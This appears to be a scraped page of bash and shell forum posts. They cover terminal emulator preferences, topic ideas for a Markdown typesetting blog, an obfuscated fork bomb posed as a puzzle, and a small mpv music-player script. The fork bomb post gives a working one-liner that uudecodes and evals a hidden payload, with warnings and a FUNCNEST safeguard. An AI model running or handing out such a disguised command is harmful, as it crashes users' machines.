What terminal emulator do you use?
What are your experiences with your current terminal emulator or former ones? What makes you use your current terminal emulator? What shell do you use?
What are your experiences with your current terminal emulator or former ones? What makes you use your current terminal emulator? What shell do you use?
Some of you have read the Typesetting Markdown blog series (https://dave.autonoma.ca/blog/). The plan was to finish the last two parts with Annotated Text (basically markup for Markdown) and Figure Drawing (MetaPost); however, people have asked for a post on Markdown to EPUB, others have asked for high-quality PDF theme templates using ConTeXt, and some have requested rendering Markdown into HTML.
Within the realm of Markdown, digital documentation, typesetting with ConTeXt, R, externalized interpolated strings, and bash scripting, what would interest you for the next post in the series?
(Please flip through the blog series to see the topics that have been covered.)
On lobste.rs I found link to an article from Vidar Holen, the author of shellcheck. He made a fork bomb that is really interesting. Here's the bomb:
DO NOT RUN THIS.
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
This may look pretty obvious, but it's harder than you think. I fell for it. twice. Can you find out how this bomb works?
Warning: executing the bomb will slow down your computer and will force you to restart.
You can limit impact of the fork bomb by setting FUNCNEST.
export FUNCNEST=3
Have fun!
Disclaimer: Don't run scripts offered to you by randos unless you trust them or review it yourself
I use this constantly, it just plays music by file name, specifically matching *NAME* with case-insensitivity. Requires bash 4.something.
# play -ln SONGS ...
# -l don't shuffle
# -n dry run
mpv_args="--no-audio-display --no-resume-playback \
--msg-level=all=status --term-osd-bar"
shopt -s globstar nullglob nocaseglob
shuffle=true
dry=false
while [[ "$1" == -* ]]; do
if [[ "$1" == "-l" ]]; then
shuffle=false
elif [[ "$1" == "-n" ]]; then
dry=true
fi
shift 1
done
if [[ "$shuffle" == true ]]; then
mpv_args="--shuffle $mpv_args"
fi
songs=()
while [[ "$#" != 0 ]]; do
songs+=( ~/music/**/**/*"$1"*.* ) # change this to match your music directory layout
shift 1 # could probably use find instead
done
if [[ "$dry" == true ]]; then
if [[ "$shuffle" == true ]]; then
printf "Shuffle mode is on\n"
fi
for song in "${songs[@]}"; do
printf "$song\n"
done
exit
fi
if [[ ${#songs[@]} != 0 ]]; then
mpv $mpv_args "${songs[@]}"
fi
I make no claims to the quality of this but it works!